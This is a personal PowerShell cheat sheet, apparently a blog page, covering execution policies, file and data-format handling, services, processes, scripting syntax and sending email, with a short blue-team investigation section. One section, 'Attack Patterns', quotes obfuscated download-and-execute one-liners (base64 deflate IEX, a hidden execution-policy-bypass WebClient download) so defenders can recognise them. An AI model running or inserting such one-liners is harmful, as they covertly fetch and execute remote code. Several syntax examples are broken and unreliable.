Logo
RSS Feed

📘 Powershell BTFM

Created: 23.09.2020

Settings

Association

It’s better to associate powershell scripts with notepad.exe that PowerShell for security reasons.

Execution Policy

Get Execution Policy. Powershell execution policy is applied to scripts only. Here are the main policies used:

Get-ExecutionPolicy
> Restricted # no scripts are allowed (default for desktop)
> RemoteSigned # downloaded scripts should be signed (preferred, default for WinServer). For local scripts no signature is required.
> Unrestricted # everything is allowed (dangerous)
> Undefined # Restricted for Win and RemoteSigned for WinServer
> AllSigned # Signatures are required for local scripts also
> ByPass # Nothing is blocked, no warnings and prompts

Other policies, official doc [2].

Set Execution Policy:

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned

Start Services

Registry

Get-ChildItem HKLM:Software | Format-Wide

FUC

Frequently Used Commands.

Get-Help -ShowWindows/-Online/-full # withough any option - short help in the console itself

Working With Files

# Writing to file. 
# Method 1
echo "Name, EmployeeID, Eligibility" > employee_eligibility_status.csv

# Method 2
$output_file = "employee_eligibility_status.csv"
Write-Output "Name,EmployeeID,Eleigibility Status" | Out-File $output_file  [-Append] # Append is optional, of course

# Enum files in the dir, filter and do something with each one
Get-ChildItem -Path .\testfolder -Filter "*.emp" | ForEach-Object {
 $emp = $_.BaseName # get the filename
 # do something
}
Copy-Item -Path -Destination -Recurse
Move-Item -Path -Destination -Recurse
Remove-Item -Path -Recurse
Rename-Item -Path -NewName
Test-Path "Path" # check whether the file exists
Get-Content "file" # read the file
Get-Content "file" | Tail -2 # last 2 lines
Get-Content "hugelogfile.txt" | Where-Object { $_ -like "*ERROR*"}
Select-String # +\- grep

# removing files older than
$dir = "C:\Windows\tmp"
$retention = 10
Get-ChildItem -File -Recurse $dir | Where-Object {$_.LastWriteTime -lt (get-date).adddays(-$retention) | % {$_.fullname | del -Force }}

CSV

# Add-Content  uses .ToString() on the input
Add-Content -Path "file.csv" -Value "Name, Surname, Age"
$students = @(
'"Alex", "Zverev", "30"',
'"Veronica", "Zvereva", "29"',
'"Johnny", "Depp", "50"') 

$students | foreach { Add-Content -Path "file.csv" -Value $_ }

echo ""
$contents = Import-csv "file.csv" | Sort-Object Age | Export-Csv "sortedfile.csv"

XML

[xml]$content = Get-Content "file.xml"
$content.GetType()
$content.MAIN_NODE.COMP


foreach ($entity in $content.GetElementsByTagName("COMP")) {
    Write-Output $entity.IP
}

Get-Process | Select-Object -First 2 | Export-Clixml output.xml

JSON

$json = Get-Content "file.json" | Out-String | ConvertFrom-Json

📘 BTFM - Useful For Investigation

You can get the previously executed commands with Get-History cmdlet. However, what if the last command executed was Clear-History? That might be suspicious and a lead.

Services

Get-Service | Where-Object { $_.Name like '*a*' } | Where-Object {$_.Status -eq 'Stopped' } | Select-Object -First 3

Get-Service | Where-Object { $_.Status -eq 'running' } | Select-Object -First 1 | Stop-Service -WhatIf # Get services that are rinning, select the first one in the list and tell me what will be stopped if I run Stop-Service (but don't run it yet).

Get-Service | Group-Object -Property ServiceType

Get-Service | ConvertTo-Html -Property name, displayname, status
ConvertTo-Csv
ConvertTo-Json
ConvertTo-Xml

Processes

Get-Process | Out-GridView

Get-Process -Name "*a*" | Select-Object -First 2
Get-Process | Get-Member
Get-Process -Name "*a*" | Select-Object -Property CPU
Get-Process | Where-Object { $_.CPU -ge 1000 }

Get-Process | Sort-Object cpu | Select-Object -First 10 # get the process list, sort by CPU usage and display the first 10 processes
Get-Process -Name "powershell*" | Select * # display ALL info about the process
Get-Process | Where-Object { $_.cpu -gt 10 } | Out-File "file.txt"

Get-Process | Where-Object { $_.cpu -gt 10000 } | Sort-Object cpu | Select -First 1 | Stop-Process # Stop the most cpu costy process

Get-Process | Sort-Object BaseProperty | Group-Object -Property BaseProperty
Get-Process | Sort-Object cpu -Descending | Select-Object -First 10 | Format-Table processname, id, cpu, pm

Files

# useful for a supernova
Get-ChildItem -Path "C:\Windows" -Recurse | ConvertTo-Html -Property name,fullname -CssUril mycss.css | Out-File 'files_in_Windows.html'

$head=@"Some css"@
Get-ChildItem -Path "C:\Windows" -Recurse | ConvertTo-Html -Property name,fullname -Head $head -Title "Report"  | Out-File 'files_in_Windows.html'

Decrypting

Write-Host = $whatever # will output the value without invoking anything

📕 RTFM - Attack Patterns

iEX(New-Object IO.Compression.DeflateStream[IO.MemoryStream][System.Convert]::FromBase64String(''),[System.IO.Compression.CompressionMode]::Decompress) | % {New-Object System.IO.StreamReader($_,[System.Text.Encoding]::ASCII)} | % {$_.readToEnd()})

powershell -nopr -ep bypAss -w hiddEN -nonI -co '(nEW-obJECt nEt.WebClIeNt).DoWnloADfile(…;iEX()....'

Remote connection

See what connections are open and what protocols they are using:

Get-CimSession

DCOM

WSMan

Queries

CIM

WMI

Get-WmiObject -Namespace 'root\cimv2' -List | Out-GridView

Scripting

$localvar.GetType()
$global:var # accessible not only from the script, Get-Variable will show it. But open another shell - it won't be there.

Set-Variable -Constant - ReadOnly # check if exists and change if it does
New-Variable
Clear-Variable
Remove-Variable

$var -s [int] # check if int

[int]$var = 100 # force the variable $var to ALWAYS be of int type
$var = [int]100 # apply on var to ensure that the data for this user input is correct

[string]$answer = Read-Host "Question?" -AsSecureString # get user input, convert to string -AsSecureString will not show the contents of the $answer
[validateset("y","Y", "n", "N")]$answer = Read-Host "Are you ok? (y/n)"
[validatelength(5,120)]$answer = Read-Host "What's your name?"
[validaterange(5,120)]$answer = Read-Host "How old are you?"
# Get more with Get-Help about_Functions_advanced_Parameters -ShowWindow

Write-Host -ForegroundColor -BackgroundColor # doesn't return an object, so you CAN'T PIPE the result!!!!
Write-Output # outputs something but also CAN be piped to another command
Write-Error
Write-Warning
Write-Debug -Debug
Write-Verbose -Verbose

⚠️ Double quotes resolve to variale value, while single quotes - don’t. To override this behaviour of double quotes "", use a ``` sign.

Operators

# resemble Hugo's syntax, but the operator is placed between the operands.
# also resembles assembly
eq 
ceq # case-sensitive operator
neq
lt, gt. le, ge
like # contains
clike # case-senstive contains
notlike
match # use regex
contains # return True or False

Example:

@(THis is a big text to search some keywords in) -like "text"

Strings

string.IndexOf("")
string.Trim()
string.ToUpper()
string.Replace("a", "b")
string.Contains()

string.GetMember() # print all available operations for strings

$this_is_a_multiline = @"Hello
world, I have a question: "How
are you"?"@

Conditions

if (-not ($n -le $n2)) {
  "Good"
} else {
	"Happy snowman!"
}

if (1 = 1) -and (2 = 2){
	"Math is not broken!"
}
else {
	"The Universe seems to be exploding"
}

switch($num)
{
	1 {"Good"}
  2 {"Hm"}
  3 {"Hmhm"}
  default ("Happy snowman")
}

Collections

# array list
$array = @(1,2,4) # IsFixedSize
$array[1..2]

# list
$list = New-Object System.Collections.ArrayList

# disctionary, not {} instead of ()
$hash_table = @{
    "127.0.0.1" = "localhost";
	"192.168.1.1" = "router1";
}
	
	

Timestamps

# Find diff between today and some point in time
# Method 1
$emp_date = [string]$emp_data[2] -replace "-", "/";
[datetime]$emp_date += " 00:00";
$diff = NEW-TIMESPAN Start $emp_date End $today
if ($diff -ge 365*5) {
	# do something
}

# Method 2
$emp_date = $emp_data[2];
$DOJ=[datetime]::ParseExact($date, "yyyy-mm-dd", $null)
if($DOJ -le (Get-Date).AddYears(-5)  ){
	# do something
}

Functions

# unnamed local arg
function Hello-World {
	echo $args[0]
 # do something
}

Hello-World 1
# prints 1

# named local arg
function Hello-World($names){
	foreach $name in $names{
		echo "hello"
	}
}

$names = @("Jessica", "Mark", "Jason")
Hello-World $names

# parameters ++++
function Hello-World-Remastered{
	param
	(
		[string]Name,
		[int]age,
		[bool]agree = 1 # default value
	)
	Write-Output "Hello, $Name who is $age old! You said $agree"
}

Hello-World-Remastered -Name Tariel -age 21 -agree 0

Error Handling

Get-Content "file" -ErrorAction [Stop|SilentlyContinue] -ErrorVariable $err


try{
	Get-Help "Something" -ErrorAction Stop -ErrorVariable $error
}
catch [System.IO.FileNotFoundException]{
	$ErrorMessage = $_.Exception.Message
	$ErrorMessage
	Write-Output "Error caught $ErrorMessage" -Foreground Yellow
}

Classes

class Cat {
	[int32] age;
	[String] name;
	
	[int32] number_of_kittens () {
		return 3
	}

}

Emails

# create a Mail object
$message = New-Object System.Net.Mail.MailMessage
$message.body = ""
$message.subject = $subject
$message.to.add($to)
$message.from = $from

# create a SMPT client
$SMTPServer = "smtp.gmail.com"
$SMTPPort = 465
$smtp = New-Object System.Net.Mail.SmtpClient($SMTPServer, $SMTPPort);

# Provide creds if needed
$smtp.Credentials = New-Object System.Net.NetworkCredential($Username, $Password);

# use SSL in case you fancy it or if the server requires 
$smtp.EnableSSL = $true

# send the message
$smtp.send($message)

References

[1] WMI and CIM docs

[2] PowerShell execution policies for scripts